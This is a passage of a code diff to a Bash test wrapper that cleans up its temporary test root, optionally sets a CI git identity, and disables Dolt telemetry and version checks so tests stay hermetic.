status: a child the test left # running (a detached bd or a Dolt server shutting down) can still be writing # when rm runs, and Bazel only reaps it after this wrapper exits. -trap 'chmod -R u+w "$root" 2>/dev/null || true; rm -rf "$root" 2>/dev/null || true' EXIT +trap 'reap_root_processes 2>/dev/null || true; chmod -R u+w "$root" 2>/dev/null || true; rm -rf "$root" 2>/dev/null || true' EXIT mkdir -p "$root/home" "$root/xdg-config" "$root/dolt-root" "$root/tmp" : >"$root/gitconfig" +# The global git identity of the CI jobs that run `git config --global +# user.name/user.email` before their tests (PR Risk's server-Dolt and +# proxied-server jobs): a target mirroring such a job sets +# BEADS_TEST_GIT_IDENTITY=1 in its env. Everything else keeps pr-core's empty +# global gitconfig. +if [[ "${BEADS_TEST_GIT_IDENTITY:-}" == 1 ]]; then + printf '[user]\n\tname = CI Bot\n\temail = ci@beads.test\n' >"$root/gitconfig" +fi # Dolt identity, as beads_test_env_enter sets with `dolt config --global`: # tests that shell out to dolt commit need an author. Written directly so the -# wrapper does not depend on a dolt binary. +# wrapper does not depend on a dolt binary. The two *.disabled keys stop every +# dolt command from checking for a newer release and from sending usage +# events over the network: calls a hermetic test must not depend on (they +# change no behavior, only drop a "newer version available" stderr line). +# They do not stop dolt from forking a detached `dolt send-metrics` child on +# exit, which outlives the command and re-creates $DOLT_ROOT_PATH/.dolt under +# a test that already removed it; DOLT_DISABLE_EVENT_FLUSH does. mkdir -p "$root/dolt-root/.dolt" -printf '%s\n' '{"user.email":"test@beads.local","user.name":"beads-test"}' \ +printf '%s\n' '{"user.email":"test@beads.local","user.name":"beads-test","metrics.disabled":"true","versioncheck.disabled":"true"}' \ >"$root/dolt-root/.dolt/config_global.json" +export DOLT_DISABLE_EVENT_FLUSH=1 export HOME="$root/home" export USERPROFILE="$root/home"